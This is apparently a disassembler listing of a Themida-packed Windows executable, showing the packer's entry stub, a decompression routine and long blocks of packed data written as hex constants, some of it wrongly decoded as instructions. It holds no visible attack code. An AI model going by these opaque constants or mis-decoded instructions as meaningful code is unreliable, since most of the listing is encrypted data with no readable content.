		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 0FC2149E3h, 4F8C9h, 54082h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053CD6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00540070 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 005402E6 SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax

loc_4E0047:				; DATA XREF: ___:00437A6Co
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074

loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------

loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53CD6F
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1

loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1

loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B

loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2

loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53CD6F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 15732FCh, 0B835C8BFh, 848B2444h, 21F2BA2Fh, 0AFFB102Eh
		dd 0F5800124h, 1A0D0FEh, 2E97AAEBh, 36F3AB24h, 7F850370h
		dd 0C27145DEh, 22915715h, 0D75D21DCh, 8F73390h,	11917F57h
		dd 0E7FD8770h, 55550801h, 81798F1h, 0C638F4D5h,	0E9BE4203h
		dd 0BCFAD06Dh, 73650752h, 33726174h, 2E8B7041h,	2AE578D3h
		dd 68540020h, 64696D65h, 0D6A0AF61h, 2D343009h,	5564BD31h
		dd 8403921Bh, 8B1CEF2Bh, 60D487C5h, 5D8008E8h, 330BED81h
		dd 89060648h, 0D0F4D95h, 0C44B577h, 19712085h, 20BD833Fh
		dd 1C74E029h, 89E88B0Ch, 9949B8E2h, 701CEFC2h, 3E772444h
		dd 6A011F14h, 81A3E845h, 749A6829h, 0DFE90783h,	4B250A40h
		dd 440A7A89h, 1429E9D5h, 405FEC02h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	dword ptr [ebx], 0FFFFFFC4h
		fsubr	st, st(6)
		add	bl, [edx-7Fh]
		jmp	far ptr	45C7h:0DA8B20F9h
; ---------------------------------------------------------------------------
		dw 0D848h
		dd 400ED808h, 8108C789h, 1D80E67Dh, 200F7433h, 6383F908h
		dd 12FF4598h, 0E163EB43h, 7461DC36h, 0C2C91426h, 81064604h
		dd 2FF7CC4h, 4220498Eh,	458D0034h, 85D8B80h, 19A285C7h
		dd 8D5025h, 88C3D10Ah, 89544118h, 0BD51810Bh, 755D0106h
		dd 14274AE3h, 7664BA8Dh, 8A807502h, 48F4BB0Eh, 7ABB85Bh
		dd 0D3785437h, 80FE6D0h, 0F7754B1Dh, 47C3AF82h,	314A9246h
		dd 4251F946h, 8A5D61D1h, 0AFF0D003h, 5045EEECh,	51EB4DFCh
		dd 46E4AD04h, 403E6280h, 849BBAF7h, 7D0C3473h, 3E7FEB0Ch
		dd 6D6486F8h, 0E26F012h, 4A10F454h, 0F065C10Ah,	0F801D604h
		dd 0C203E0D1h, 332800CBh, 301C8ADBh, 72E6FB80h,	390A0A61h
		dd 0EBE90577h, 3F2293F7h, 0DB36114h, 8FB660Ah, 0C3FA1E7Ah
		dd 10610A75h, 0B72411Ah, 77460A86h, 10F52406h, 0C3F05D01h
		dd 7D83F4ECh, 0B0720298h, 76C00CD9h, 0AA32A5BBh, 700EF826h
		dd 0A8508D3Bh, 0FC55053Bh, 4E78820Fh, 0AA0DB0BDh, 0BA87F238h
		dd 5B90708h, 0BDFC4270h, 0FE003588h, 0E49470Fh,	22B9FA75h
		dd 0BBE76A2Eh, 0F1A31F01h, 0C78EB82h, 86018EECh, 74937B4h
		dd 36C16551h, 28F71DBFh, 5007268Ah, 7F5905E9h, 6154796Bh
		dd 5C211304h, 5D8AC8C4h, 8205250Ch, 0C01A0845h,	0C4544421h
		dd 0FC7C8C0Dh, 6747E600h, 0F95ACC82h, 50C3642Ch, 0C4606158h
		dd 8C7D8AC8h, 1481644h,	0AB1DC458h, 8013E961h, 7A524117h
		dd 0E1B6F9h, 21F50998h,	5C8A5D63h, 901D9100h, 841059BAh
		dd 8233C007h, 784243EAh, 0EC622832h, 67A781F1h,	0CBC8DA8Ch
		dd 820EC034h, 765B4E39h, 0B8100F01h, 0D1043D51h, 46D93BF1h
		dd 9754C87h, 0A311562Eh, 65E4EC05h, 9C200690h, 1505C584h
		dd 0B9C7968Eh, 4C25323h, 8C29A2C2h, 0E7858671h,	98A6DD0Eh
		dd 77812BFFh, 1D220460h, 9884C134h, 20753288h, 0EE0E3FBCh
		dd 30EFCC0Ah, 0EC97A102h, 0CF7F8CC4h, 40C8FFCCh, 0E9F54567h
		dd 626028h, 4D8C52C4h, 0AA821125h, 0AB66B142h, 1384845Ah
		dd 0C11F5648h, 0D2EE825Eh, 40088155h, 548A9F90h, 234013B9h
		dd 2943A597h, 1815D141h, 0B4FD056Ah, 18D670Dh, 0E281E0F0h
		dd 0C0AFCF05h, 8610CA0Bh, 6435656Ch, 5F398C57h,	758A11C4h
		dd 47801D88h, 0D3A6C457h, 7D4E01A5h, 79BA2A32h,	3822EAh
		dd 0F3482411h, 19C80613h, 0FA1A4A86h, 1521A202h, 6EFB2E03h
		dd 0DB27978Fh, 3170714h, 40F8C881h, 0D34C680h, 0BB61CC00h
		dd 7C3CE7CBh, 0ED890D47h, 94310EEAh, 9F3521D8h,	368A7A22h
		dd 0E8142D22h, 5B1C5346h, 558A88C4h, 534370h, 0AEBC62C4h
		dd 24C8B1Fh, 9A90D474h,	5C09B831h, 0E9012296h, 4B37800Dh
		dd 0CB936174h, 53DF024Fh, 17AC2782h, 4CB988h, 66BF6758h
		dd 5C1E5909h, 0E03CC482h, 9255BA1Ah, 7217B61h, 0A08925C2h
		dd 5B3400E0h, 41C011EAh, 7536AF77h, 3D65008Dh, 0A2067818h
		dd 56F6EA0Ch, 0F382C700h, 638C605Bh, 1E8E9054h,	70E945CFh
		dd 907D7C1Ah, 0C0102D18h, 6CE082Dh, 0E68B768Dh,	0C1013053h
		dd 49033FCh, 778009E9h,	0D18CD4B1h, 0E3132DB8h,	12005840h
		dd 845960F4h, 320573ECh, 0A4EA02EAh, 0C58158C8h, 37D0F500h
		dd 0E2273C8Fh, 3E740Dh,	0B4B389EFh, 2174AF08h, 88A411C2h
		dd 0AC331091h, 1895EC20h, 6EBF028Fh, 0B0003EC1h, 6F343A5Ch
		dd 0C33C31E9h, 0F0A33551h, 170310A6h, 0C7037004h, 24581075h
		dd 0EE80FADh, 8FA7E183h, 38841B86h, 40ECD03Ch, 0F9AC0607h
		dd 508C0193h, 0B1E9CB03h, 86B0D99Ch, 3A04E240h,	0C6B21D71h
		dd 86975F90h, 9012DA54h, 39808C30h, 7466415Ch, 90480047h
		dd 0BF775B71h, 75156CDBh, 0C5C10E2h, 119B0818h,	0B5820051h
		dd 0FD6B2CA3h, 0CD03435Ch, 0C7F7D42Ah, 60BCA025h, 88B7067Dh
		dd 0B9E5D00Bh, 9BA93Ch,	0C7310DC2h, 0E475CBh, 8D687F62h
		dd 856B2A20h, 3DD861DEh, 0C0CB79h, 9BF30843h, 5F7C049Ch
		dd 29C081EEh, 7D5CFC50h, 30661A8Eh, 0A800D926h,	62F767B1h
		dd 64493660h, 7C194B92h, 116E0015h, 68D584D4h, 0AF15E7ACh
		dd 7E8D3E9h, 8AE13B3Ch,	0C8EE35F3h, 0A090F6B1h,	80D74FECh
		dd 0D1C0EAD0h, 0AEE4CD53h, 9510014Ah, 0A736C87Fh, 0B1DC4021h
		dd 75019757h, 88F3E1B9h, 61862BBBh, 0C18F6D2Ah,	0CC87820Ch
		dd 12658E4h, 2820AD9Bh,	4016FA64h, 0C08706D4h, 8320F86Fh
		dd 218DA6Ch, 0AC3B2618h, 0F8808450h, 320CDEEh, 8E2C0850h
		dd 0DCFCE12Eh, 0A444C38h, 10C2C631h, 0C4B06183h, 48F9A0D9h
		dd 87020C46h, 0AC68E0D8h, 3FBA5410h, 88298C40h,	8B01BF60h
		dd 0ECE483AAh, 0D9C0E7B1h, 0B6650712h, 0B4F3DE0Ah, 68248262h
		dd 40159F41h, 0E2DF9784h, 0C43B092Ah, 0AB26C31Ah, 59A418E8h
		dd 0D5D30407h, 8C2A845Bh, 88440840h, 0E21D3DABh, 703DF880h
		dd 3E7AE386h, 0F128A50Fh, 35BAA324h, 27A909A7h,	5824D1B5h
		dd 0CA549Ch, 95B9F071h,	1E497F8h, 34898FB1h, 0FCCE8314h
		dd 38C08796h, 72CB23B3h, 64D40691h, 0C8293B36h,	0DCA93524h
		dd 94B32660h, 0C0A35024h, 69836008h, 0E340B9C8h, 6B8AC203h
		dd 255162Eh, 5C2814F1h,	0AC8111A2h, 102CD324h, 0B5ECCFh
		dd 5DE21F1Eh, 0D052645Fh, 0B1B6D601h, 0F520A7A2h, 0E9DACC43h
		dd 0C0104E1h, 482287h, 0FD999C27h, 0C395CB63h, 94B78989h
		dd 0A050B6A3h, 8C496EFAh, 7A0F0014h, 6CADE504h,	501D60E6h
		dd 0EB53FC0Dh, 543DB300h, 0E70AE0A3h, 0C7FE0041h, 6A74C679h
		dd 4200DEDBh, 0BC40AE73h, 13616FCh, 65E80A25h, 0D0CDB246h
		dd 2F058E5Fh, 41D15A89h, 304962C1h, 7C7BBEE0h, 0C90A0E77h
		dd 0F6C0BB70h, 0F4BC0654h, 0C83E160Eh, 5B1AA04Fh, 966F8CDh
		dd 0FFE7FB4Bh, 0B5E8C000h, 5312ECB4h, 0A803D7E2h, 0CABF78EBh
		dd 82C849CBh, 0EDAC5E0h, 0CB702B1h, 64C042D3h, 700A276Ah
		dd 2FBA408h, 20466CAEh,	58AF8A01h, 13F8C024h, 20BC880Fh
		dd 9E7CB004h, 0D98324Dh, 28E128BFh, 0C20E059h, 0EFC4058h
		dd 0C038194Ch, 614494F5h, 72D8005Ch, 4079FE7h, 10687F6h
		dd 308FBA79h, 44410079h, 984085E9h, 0D4031EB6h,	25DC4A90h
		dd 2A83F9C8h, 16394020h, 439278A4h, 38B28834h, 0E3D0A912h
		dd 69BA4C40h, 0A2D623h,	64265AFAh, 8FAB2482h, 0D4870416h
		dd 7CAE4C41h, 0EA0011C2h, 6809B15Bh, 232C8F36h,	0E8D0D8h
		dd 1F926551h, 0FA39D38Ah, 423420Bh, 0B41C0878h,	0BC3203Bh
		dd 2F227428h, 13752C30h, 9410BC19h, 3C2068B0h, 1F171E3Bh
		dd 305FA433h, 0B7BA4318h, 48FEF030h, 54622815h,	3D8DA029h
		dd 0ED80F81Dh, 872D6D0Bh, 113FFA22h, 9F7480B8h,	77CA9A5Fh
		dd 0FFD030FBh, 8FA1DDB1h, 0D40A3700h, 8A88683Eh, 0E7F51E7Bh
		dd 3F9980A2h, 5FA63559h, 883031D2h, 0DEEEFEh, 0F7908DB0h
		dd 0BCB9883Fh, 7410B0A8h, 0E02C7A31h, 20EC59h, 38628808h
		dd 7B71B1C7h, 0AA50C780h, 91A800F0h, 0ECD267B0h, 0B36E2F7h
		dd 4580294Eh, 7305F1E3h, 202C5834h, 421104A7h, 904BB035h
		dd 571EF06Ch, 0B9D03E50h, 7ECFE312h, 4375F848h,	0B10033D3h
		dd 0AB46AF40h, 0E3E5F44h, 932F0914h, 205CCC87h,	0FB6425Dh
		dd 689F4D26h, 0E870843h, 8D530149h, 0BA6C0580h,	0D901C31Ah
		dd 0ADDEA3EBh, 55C164ACh, 20879C24h, 0DA3CDF4Ch, 9CB38910h
		dd 6F88A0C4h, 0D483967h, 2570E29h, 54A840B8h, 7083195Ah
		dd 40E76014h, 344B1848h, 1F1C271Bh, 9021E5F8h, 0C0143A09h
		dd 6AD9BF2Ch, 87807891h
		dd 0EA8E47F4h, 42853A2Eh, 2CABAE8Bh, 0CF5C0801h, 1CA410E5h
		dd 4FF70026h, 9F731E39h, 519C61ACh, 82489B09h, 82D0AEFCh
		dd 0C0C7E13Ch, 2C4EAA37h, 86855B1h, 0C31319D3h,	59F2C05h
		dd 0C4308421h, 84E1AC02h, 71188007h, 0F7DCA4B7h, 8F273161h
		dd 0F81CF0h, 797041h, 0E990A3AAh, 16E6FDB2h, 60105F30h
		dd 0F83FDA5Bh, 989A7235h, 90F91680h, 0E2401ED7h, 3B06E80Dh
		dd 87FE3033h, 29C8FEACh, 0F2AA8048h, 1DD38FDEh,	54513600h
		dd 0B1663E35h, 0B7082894h, 203090D4h, 0ACF80963h, 0B1B8F920h
		dd 0E1D80B0h, 11A452A0h, 126B7225h, 8C588264h, 526600ADh
		dd 5A772A5Ch, 77B08CB0h, 7E9018C1h, 4C24EBD3h, 4E7C1930h
		dd 2082A837h, 1580FB00h, 202898C9h, 9526CE50h, 386004EDh
		dd 49EC53h, 97D1B3F1h, 8D084F2Fh, 0BCF5A802h, 0E181B636h
		dd 0CC1450F4h, 0EE7AB4ACh, 5B64E400h, 3B2572BDh, 3E57607h
		dd 0ACB34BDDh, 0A800A5C0h, 5427F3ECh, 0DF2A6265h, 601D4049h
		dd 0B5843C1h, 0E616F600h, 0AD61346Ah, 3A490069h, 5C456585h
		dd 0A3274B0h, 82DFD824h, 38148A4h, 0EFD0EAB7h, 0FB5406E0h
		dd 65020FD8h, 0D0A45AE7h, 0D8E8A0FDh, 71B1C8F4h, 9D3003Bh
		dd 6DECB9Ah, 0A80223D4h, 0C6551EFFh, 5F4440EDh,	0F5328003h
		dd 0AE0EE200h, 0D37812DAh, 29F9C12Dh, 209230D7h, 560002C1h
		dd 13C47A4Ah, 0CAA124B4h, 3FB8A998h, 2E06D0A0h,	1FBF8836h
		dd 10C50648h, 0D01AEA5Ch, 0BCB34804h, 1C0BB014h, 40E43824h
		dd 9C26DFB2h, 29B7628h,	4F7876F2h, 0A061A353h, 207C0821h
		dd 10C114C6h, 0CD38E247h, 40DEA420h, 50D3EA1Dh,	0D98D6C00h
		dd 0A25B255Ah, 0A866C4h, 0BAE5E4E0h, 3DD3CF5h, 0BC6ACD0Fh
		dd 64CF2081h, 0A01F440Eh, 0C137D38Ch, 0C6BB4079h, 0EAE1C998h
		dd 33858340h, 0E555B80Fh, 6CB08171h, 9C243B9Ah,	572F8831h
		dd 8800957Dh, 0A359C4F2h, 17062EDCh, 44D440BFh,	50946500h
		dd 7134349Ch, 9644CCh, 3AEE4B5Fh, 9B1B69FBh, 0DB61FE07h
		dd 0E3176819h, 300B0E31h, 2DD4B088h, 0E6E5F087h, 0A5B59210h
		dd 0FE270E4Dh, 0B1008588h, 0F3C0A704h, 29A880C1h, 905C627Dh
		dd 79BB07D4h, 0D00F753Dh, 93C53922h, 7BB75500h,	5E0FF57h
		dd 0CC0A00D3h, 8AB1DCBh, 0A22854AEh, 4008023h, 0AB6752Eh
		dd 29F83DFAh, 80F44877h, 1BA3EA85h, 64004F15h, 2D96FD9Dh
		dd 20AE529h, 8E40B1D2h,	24E0787Eh, 638009EBh, 432D03A8h
		dd 0ACE53ACBh, 74E280D1h, 3800F9CCh, 0A0A55176h, 78EDC9B9h
		dd 24414CC7h, 6C2A7405h, 127C823Dh, 0E3DC5CE0h,	70F78082h
		dd 0A7299586h, 85FB0804h, 0B980FD03h, 9F8094EAh, 3E2FEA3h
		dd 48E323DDh, 1803E9C2h, 0D1E43C95h, 0C0400096h, 3D88DB12h
		dd 0D903F39Fh, 0F49134D3h, 7F05997Ch, 70EAE8D7h, 1DF62450h
		dd 0A31A03CBh, 5818CDE9h, 9A68B56Fh, 802680C5h,	28013A30h
		dd 7F7C22Fh, 0E2F1958Ah, 256D30F9h, 2C1ED15Eh, 0E140DC16h
		dd 0D2127167h, 0F80DFA9h, 1B067431h, 0DF1E10B0h, 0A7801E65h
		dd 2616662Bh, 67612884h, 12720D8Ch, 0F028A1EFh,	80A0FC54h
		dd 9318A521h, 0DF70FAF9h, 62872861h, 0E6A20C28h, 7378D5CCh
		dd 0A092AD28h, 0D4849851h, 0B8C50D1Ah, 820651Ch, 0A361B4BEh
		dd 0D02EF9B4h, 0E80A41BCh, 9FC062A6h, 6B1C4523h, 1B844192h
		dd 8017127Ah, 0BACF2579h, 0C1966B14h, 12F77021h, 68E05027h
		dd 53E37AC1h, 0C6D2FB18h, 0AD14D8A1h, 8771956Dh, 0F94812F4h
		dd 2A150021h, 7F1C36D0h, 0C7D3F9E6h, 25F139F0h,	951301B8h
		dd 6286942Ch, 0CA618F1Fh, 41FF2C24h, 89266FBDh,	0F960F00Ch
		dd 2C41FC6Ah, 2D591E18h, 0C4A8A0E0h, 0D4F62A2Ch, 5C7B5284h
		dd 0A8665915h, 75BE3F78h, 0CB245860h, 33E87358h, 975CD803h
		dd 0B8AB7EFFh, 0A8514Fh, 45AD8FB3h, 7DAA7279h, 0C2002A79h
		dd 463D1598h, 0EECF96h,	0F13B4858h, 0A8554DCh, 261EB000h
		dd 901B523Dh, 0A44E00B6h, 49A78C69h, 0CE30B20Bh, 0A048407Ah
		dd 31EF40F6h, 0B7C7F100h, 70B0E76Fh, 55332632h,	0A1CC00A8h
		dd 0B4B8BD45h, 0A30B4D00h, 0E3189803h, 0EAA0005Dh, 374F58D9h
		dd 0B70AC64Eh, 0C0A2E791h, 7ED50448h, 3E7CF8A8h, 0ADCC4F09h
		dd 1BD8006Fh, 0F4D3139h, 6177B46Ah, 6365BCC0h, 0B2003D58h
		dd 3C0A7A10h, 0CF99F59h, 3B4486ABh, 977C5340h, 0CB076171h
		dd 0A36B5528h, 8E80B7B0h, 45A80064h, 0AAEFAEEAh, 55042620h
		dd 5897FAECh, 5ACE4D01h, 0CB670098h, 15F849h, 4CB5CC90h
		dd 71B489A8h, 10B7FC00h, 4932C4BEh, 3E972ECh, 39E54386h
		dd 3CB0AECEh, 38401D80h, 48389867h, 0E8BA9485h,	40370F72h
		dd 0AA360C2h, 3BD81EABh, 8D001555h, 8E58B0CCh, 4DA4B8h
		dd 0BCC2C93Dh, 9946361Fh, 8DC83500h, 0CF383B7Dh, 0E354005Ch
		dd 3126AB62h, 71006A53h, 8D7ABA79h, 7E84B073h, 0B63200C6h
		dd 9A5B2205h, 40C1AA31h, 5DC44E39h, 0DAB7C00h, 13553C00h
		dd 44AE7771h, 0BC6601AAh, 6C9398Ah, 5BC5707Ah, 0D9F6E900h
		dd 4E10BF84h, 54B707D8h, 80627E0Ch, 4F13473Ch, 0AA8C6159h
		dd 993ACCFCh, 0C2F10F7Bh, 50AC054h, 2C4B3F1Bh, 1C77A742h
		dd 0A4D694h, 0B80E7A8Ch, 3EE49801h, 0F6958C00h,	247158DAh
		dd 19CF0134h, 6462FB6Dh, 674AC43Bh, 0A48FA509h,	0A6D60797h
		dd 1BB62520h, 19050088h, 0AEE996A1h, 4000BF87h,	935EC74Fh
		dd 777510h, 0A85F4DCBh,	5092CCB4h, 0BE638B00h, 0C2A5278Ah
		dd 22160087h, 0EFFA944Bh, 1100BF5Ah, 54B8CC49h,	6F61FEh
		dd 155D0E32h, 97B4CD8Fh, 22ACB258h, 1D81024Fh, 0F9A5A3Ch
		dd 4378892h, 0BDF460FFh, 0DB000237h, 0D8D931A5h, 39080BB1h
		dd 345261D6h, 0D0039ACh, 24E5D5DFh, 7709C2D6h, 0C8810202h
		dd 85C406F5h, 0CCBE1814h, 2BC3189Eh, 2E491F00h,	6A1CEC13h
		dd 9F773080h, 0FEBEC629h, 2C5DF45Eh, 0A80AC8h, 4A7B7AD6h
		dd 3D609DC7h, 25EAD430h, 45FC16F5h, 0BE78D04Dh,	4770B70Eh
		dd 0A4876702h, 997AC9CDh, 5607EC1Ch, 7100A1FCh,	331EA96Ah
		dd 3342C9Fh, 37AA2D22h,	77A3E8ADh, 0EC59C918h, 3D202C31h
		dd 8800547Ah, 24C843C0h, 1201E137h, 9C5E2333h, 72D87915h
		dd 61E00655h, 0A125BD35h, 0BAC90907h, 0D9A0BF2Eh, 0CCA5AA91h
		dd 0EA213408h, 3BAB200h, 1C6120A3h, 0DCA2298Bh,	0F9E0888h
		dd 35E43C85h, 6B4E0h, 25B2CA54h, 0FD26BB1Eh, 68F930C1h
		dd 36001046h, 4815E4CDh, 222001B2h, 1FF728D5h, 72FF850h
		dd 0FEBF35ACh, 68C0DB90h, 0E4BC4312h, 0FA482605h, 76ABE8B0h
		dd 27171F79h, 0F684031Eh, 493B2415h, 0C78897A2h, 0BCE8C491h
		dd 50804201h, 4D49D9A8h, 510B7900h, 6818281Fh, 5DFF00DFh
		dd 0C7FA41C4h, 705E1343h, 2EA2B801h, 5080C8F0h,	74631A7Dh
		dd 0BE0C9F3Eh, 18DCE5E6h, 4CA41F06h, 59140B1h, 423085DAh
		dd 90716460h, 5C95426h,	25F101FAh, 8D44E0E1h, 0A71F5892h
		dd 9A03542Eh, 87AADA6Ah, 58AE7CA0h, 0E74A1874h,	0F62C707Bh
		dd 0C91AC20h, 661362FDh, 2502A818h, 0DEB31CF1h,	0E7C08FF7h
		dd 0B900F580h, 3D5815FFh, 5F987543h, 78C1917Ch,	0AB2A680Fh
		dd 5271A0F8h, 2CFFEB9h,	392335B1h, 3848EEF0h, 9092E39Dh
		dd 0FDFA7400h, 0A9713605h, 88F900DFh, 0CFC017D2h, 31018192h
		dd 0E8D580DEh, 69BF67BFh, 1A0E2B3Ch, 0F2A02DCAh, 0E0A14AF1h
		dd 95146307h, 802859FAh, 0CA652EE6h, 539D974h, 8D13364h
		dd 0C52100EAh, 72986526h
		dd 7952976Ah, 12090088h, 627361C2h, 59E5FE3h, 1342B04h
		dd 12BECE88h, 2A0024F5h, 14A27040h, 0A4EAA80Eh,	6F350079h
		dd 32318F4Ah, 0F31E47C6h, 0E8C6C296h, 3C963A4h,	0BD6FFA12h
		dd 9094FCF6h, 0BB264204h, 173C58C0h, 286B14ACh,	9C0E4BAh
		dd 0DF12F761h, 744214E0h, 18A0888h, 4F3FF79h, 0C725488Ch
		dd 0B15026C8h, 0BBF0AC3Ah, 69A59C85h, 0B9A6E807h, 0D0282988h
		dd 9868677h, 18FD99B9h,	0F27CA802h, 8CC84E04h, 0B62A0C3Bh
